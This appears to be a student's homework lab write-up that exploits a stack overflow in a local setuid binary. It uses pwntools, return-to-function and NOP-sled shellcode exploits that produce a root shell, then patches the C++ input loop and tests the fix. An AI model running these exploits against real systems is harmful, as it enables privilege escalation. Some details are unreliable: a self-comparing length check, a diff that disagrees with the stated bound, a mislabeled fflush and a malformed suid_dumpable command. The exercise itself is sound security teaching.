How I Dealt With the Lack of a Core Being Dumped:

1) As root, : echo 2>/proc/sys/fs/suid_dumpable
2) Then exit root and sudo re-compile with the compile.sh script
3) Finally run the python script with sudo

Security of the Program:

To first test the security of the program I used checksec to flag any countermeasures the program has from Buffer overflows

- **Checksec --verbose --file=HW7.exe**

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ checksec --verbose --file=HW7.exe
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fort
ifiable FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   67) Symbols       No    0               1 H
W7.exe
```

Some notes on what checksec is returning:

1) Relro = relocation read only, and it makes the global offset table read-only after linker resolves all connections to it
2) Stack Canaries are placed after a stack to detect an overflow. If its corrupted, then the program can detect an overflow and a programmer can code a response
3) NX = non executable, if its enabled the memory segments can be either writable or readable, but not both
4) PIE = position independent variable and loads program dependables into random locations. Thus attacks relying on memory locations are more difficult to pull of

So, for the executable *HW7.exe* there is very little protection against a buffer overflow

Finding a Value That Causes a Seg-Fault

Before I begin writing python code, I first want to find a value that causes a seg-fault, which indicates we are accessing out of bounds memory. I do this with a simple one-line python script as we have done many times already, up to this point

- **Python -c 'print("A"* some_Number)'| ./HW7.exe**
    - "some_Number" is an integer, that I incremented by a hundred each time

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ python -c 'print("A"*200)'| ./HW7.exe
buffer is at 0xffffbde4
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA with length 200
Good bye!

┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ python -c 'print("A"*300)'| ./HW7.exe
buffer is at 0xffffbde4
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA with length 300
Good bye!

┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ python -c 'print("A"*400)'| ./HW7.exe
buffer is at 0xffffbde4
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA with length 400
zsh: done                python -c 'print("A"*400)' |
zsh: segmentation fault  ./HW7.exe
```

We can see that an input of 400 is enough to cause the Seg-Fault.

Beginning the Script – Give_shell()

Firstly, I needed to know what the function is referred to in the memory stack. This is slightly different to what it is called in the cpp file

- **nm HW7.exe | grep give**

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ nm HW7.exe | grep give
080494f1 t _GLOBAL__sub_I__Z10give_shellv
08049269 T _Z10give_shellv
```

The result I need is *_Z10give_shellv,* and even though the address is printed right next to it, I want python to resolve this automatically. By making a variable *targetAddr* the address of the the give_shell function

```
targetAddr = exe.symbols['_Z10give_shellv']
print(targetAddr)  # Address of the shell is 08049269
                   # function
```

Now I send a cyclic pattern of size that is able to overflow the buffer. In this case I use 400, with a pattern length of 4. The next lines are dedicated to parsing the core dump file and determining (automatically) the length of the payload i need, in this case it's 316

```
io = start()
io.sendline(cyclic(400, n=4))   #send cyclic pattern
io.wait()   #wait for coredump
core = io.corefile
payloadLength = cyclic_find(core.read(core.esp, 4), n=4)
print(f'Size of Payload is: {payloadLength}')   #316, 312 bytes of junk,
io.close()
```

```
[*] '/home/kali/Downloads/core.35871'
    Arch:      i386-32-little
    EIP:       0x64616164
    ESP:       0xffffd690
    Exe:       '/home/kali/Downloads/HW7.exe' (0x8048000)
    Fault:     0x64616164
Size of Payload is: 316
```

The next lines are simply formatting. I know that the address of something in a 32 bit system will be 4 bytes. So 316 - 4 is 312. I need to fill 312 bytes of nothing followed immediately by the address of the give_shell() address. For this assignment I chose 312 A's followed by the packed memory address. Finally we send the exploit to the program and we get a shell back

```
#Building String
payload = b"A"*312
targetAddr = p32(targetAddr)
payload+=targetAddr
io = start()
io.sendline(payload)
io.interactive()
```

```
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/kali/Downloads/HW7.exe': pid 38944
address is: 0x8049269
[+] Starting local process '/home/kali/Downloads/HW7.exe': pid 38946
[*] Process '/home/kali/Downloads/HW7.exe' stopped with exit code -11 (SIGSEGV) (pid 38946)
[+] Parsing corefile...: Done
[*] '/home/kali/Downloads/core.38946'
    Arch:      i386-32-little
    EIP:       0x64616164
    ESP:       0xffffd690
    Exe:       '/home/kali/Downloads/HW7.exe' (0x8048000)
    Fault:     0x64616164
Size of Payload is: 316
[+] Starting local process '/home/kali/Downloads/HW7.exe': pid 38958
[*] Switching to interactive mode
buffer is at 0xffffd554
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAi\x92\x04 with length 316
$ whoami
root
$ date
Mon Apr 25 01:48:56 PM EDT 2022
$
```

Note: I changed the print command for the address to print the hex version.

Beginning the Script – Remote Shell

The goal of the script is to create an input with the following format:

| NOPSled | Shellcode | Repeated Return Address |

After importing pwntools and selecting the executable we can use the context.binary = ELF() function to view some architecture and security information. Aside from architecture info, this isn't too vital to a successful attack if one had done the *checksec* already. I did it for completeness

```
target_program = './HW7.exe'
exe = context.binary = ELF(target_program)
```

```
[*] '/home/kali/Downloads/HW7.exe'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

The next stage is dedicated to crashing the program via overflow and analyzing the core dump file such that we can automate finding the offset

- The cyclic command refers to a pattern creator and finder. The ability to find its own pattern in the buffer allows one to automate the finding of an offset
    - We specify the size of the generated pattern, and the maximum size each length of pattern should be - in this case, 4
- The cyclic_find function finds instances of its own pattern, in this case we're parsing through the core file and it's being used to inform us as to how large the offset is.

```
#Crashing program and analyzing the core dump
print("Crashing the program...")
io = start()
io.sendline(cyclic(400, n=4))   #send cyclic pattern
io.wait()   #wait for coredump
core = io.corefile
payloadLength = cyclic_find(core.read(core.esp, 4), n=4)
print(f'Size of Payload is: {payloadLength}')
io.close()
```

```
Crashing the program...
[+] Starting local process '/home/kali/Downloads/HW7.exe': pid 52731
[*] Process '/home/kali/Downloads/HW7.exe' stopped with exit code -11 (SIGSEGV) (pid 52731)
[+] Parsing corefile...: Done
[*] '/home/kali/Downloads/core.52731'
    Arch:      i386-32-little
    EIP:       0x64616164
    ESP:       0xffffd690
    Exe:       '/home/kali/Downloads/HW7.exe' (0x8048000)
    Fault:     0x64616164
Size of Payload is: 316
```

Generating shellcode

I Used gdb to easily and quickly generate a shellcode. Open GDB-peda with the executable as the program to *debug*

- Shellcode generate x86/linux exec
- Copy + paste into code

```
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
gdb-peda$
```

```
#Shellcode generated by GDB-peda
myShell = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    b"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
```

Back to the Python Script

The next stage is to find the address of the buffer, as we already have the length of the payload, we simply subtract the ESP by that length, this will give us the tail-end of the exploit format. Pwntools can parse through the core file and find the address for us. Afterwards, we repeat the return address so as to not cause the program to halt execution.

```
#Below is to find the base address of the buffer
io = start()
address = core.esp-payloadLength    #Find base address
repeatReturn = p32(address)*5
```

We now have the 3 things needed to generate a NOPSled which are:

1) Length of the shellcode
2) Length of the repeated return address
3) Size the payload needs to be

To create the sled of an appropriate size we simply subtract from the payload size both the length of the repeated return address, and the length of the shellcode. It's important that the sled and the shellcodes combined length is a multiple of four. In this case the NOPSled and the shellcode (24 bytes) is 296, so this is okay. Finally we combine all three components of the overflow into a string…

```
sledLength = payloadLength - len(repeatReturn) - len(myShell)
#debugging
print("Length of repeated return address is:",len(repeatReturn)) # =20
print("Shellcode length is:",len(myShell))  # =24
print(f'Length of the shellcode and sled is: {len(myShell) + sledLength}')  # =296 And 296 is
                                                                            #divisble by 4 so this is okay
# 296 + 20 = 316 which is the length of our shellcode, so everything is okay here

NOPSled = b'\x90'*sledLength
payload = NOPSled + myShell + repeatReturn
```

The final, and arguably the most important part of the script is to actually send the payload to the target program. I do this by first checking that the size of my payload is of the correct length, and output an error if it isn't. If it is the correct size (316 bytes) then the script will send the payload as an input and run the program, then it yields an interactive shell that I can use for my own goals.

```
if len(payload) != len(payload):
    print("Error: Payload length incorrect")
else:
    print(f'Payload length is: {len(payload)}')
    io.sendline(payload)
    io.interactive()
    print("Goodbye!")
```

```
$ whoami
root
$ date
Sun Apr 24 20:57:53 EDT 2022
$ ipaddr
sh: 3: ipaddr: not found
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 08:00:27:50:4c:14  txqueuelen 1000  (Ethernet)
        RX packets 393  bytes 34558 (33.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 27  bytes 3434 (3.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.3.15  netmask 255.255.255.0  broadcast 10.0.3.255
        inet6 fe80::a00:27ff:fec7:f3a9  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:c7:f3:a9  txqueuelen 1000  (Ethernet)
        RX packets 105189  bytes 67730961 (64.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 84441  bytes 52841308 (50.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16642  bytes 14788931 (14.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16642  bytes 14788931 (14.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Patching the Program

A C-string of size 300, can hold 299 characters and the null terminator. To prevent a buffer overflow I replaced the while loop that collected input from the user, with a for loop that has an upper bound of BUFFSIZE-1.

The next thing I did was flush the input stream so that the rest of the input cannot harm the program's execution. While this is not a necessary part for THIS program, in a development setting where features can be added, this additional step can be thought of as future proofing the program.

```
while (true)
{
  ch = getchar();
  if (ch == '\n' or ch == EOF)
    break;
  *(++ptr) = ch;
}
*(++ptr) = 0;
return dst;
```

```
for(int i=0; i<BUFSIZE-1; i++)
{
  ch = getchar();
  if (ch == '\n' or ch == EOF)
    break;
  *(++ptr) = ch;
}
fflush(stdout);
*(++ptr) = 0;
return dst;
```

On the left you see the original code, on the right is the patch I applied.
Using the diff command we can confirm that this is in fact all the changes that had been made:

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ diff StackOverflowHW.cpp StackOverflowHWPatched.cpp
40c40
<   while (true)
---
>   for(int i=0; i<BUFSIZE; i++)
46a47
>   fflush(stdout);
```

Testing the Patch:

I first compiled the program using the compile.sh script provided to ensure an equal testing environment:

- Sudo ./compile.sh StackOverflowHWPatched.cpp HW7Patched.exe
- Sudo chmod +s HW7Patched.exe

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ ls
compile.sh  core.52731  HW7Patched.exe  StackOverflowHW.cpp
core.51886  HW7.exe     script.py       StackOverflowHWPatched.cpp
```

As you can see HW7Patched.exe can run as root

Now I use the command line and python to feed it oversized inputs

- **echo "$(python -c 'print("AB"*2500)')" |./HW7Patched.exe**
- **echo "$(python -c 'print("A"*2500)')" | ./HW7Patched.exe**
- **echo "$(python -c 'print("A"*10000000)')" |./HW7Patched.exe**

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ echo "$(python -c 'print("AB"*2500)')"  |./HW7Patched.exe

buffer is at 0xffffbdd4
Give me some text: Acknowledged: ABABABABABABABABABABABABABABAB
BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB
BABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB
BABABABABABABABABABABABAB with length 300
Good bye!

┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ echo "$(python -c 'print("A"*2500)')"  | ./HW7Patched.exe
buffer is at 0xffffbdd4
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA with length 300
Good bye!

┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ echo "$(python -c 'print("A"*10000000)')"  |./HW7Patched.exe

buffer is at 0xffffbdd4
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA with length 300
Good bye!
```

So there is no segfault, and the program does only accept the 300 characters I mentioned before. Now I'm going to run the script against the patched program by changing the target program to *HW7Patched.exe*

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ sudo python script.py
[*] '/home/kali/Downloads/HW7Patched.exe'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
Crashing the program...
[+] Starting local process '/home/kali/Downloads/HW7Patched.exe': pid 69256
[*] Process '/home/kali/Downloads/HW7Patched.exe' stopped with exit code 0 (pid 69256)
[ERROR] Could not find core file for pid 69256
Traceback (most recent call last):
  File "/home/kali/Downloads/script.py", line 23, in <module>
    core = io.corefile
  File "/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/process.py", line 922, in corefile
    self.error("Could not find core file for pid %i" % self.pid)
  File "/usr/local/lib/python3.9/dist-packages/pwnlib/log.py", line 424, in error
    raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Could not find core file for pid 69256
```

The core file cannot be generated, as the program could not be crashed by this script. You can confirm I changed the target to the patched program by the first line of output after running the script.

Finally, for completeness I used Valgrind to perform a dynamic analysis of the program

- **Sudo chmod -s HW7Patched.exe**
- **Python -c ‘print(“A”*10000)’ | valgrind --leak-check=full -s ./HW7Patched.exe**

```
┌──(kungpowchikn㉿kali)-[~/Downloads]
└─$ python -c 'print("A"*100000)' |valgrind --leak-check=full -s ./HW7Patched.exe
==71378== Memcheck, a memory error detector
==71378== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==71378== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==71378== Command: ./HW7Patched.exe
==71378==
buffer is at 0xfeff9d24
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA with length 300
Good bye!
==71378==
==71378== HEAP SUMMARY:
==71378==     in use at exit: 0 bytes in 0 blocks
==71378==   total heap usage: 3 allocs, 3 frees, 24,064 bytes allocated
==71378==
==71378== All heap blocks were freed -- no leaks are possible
```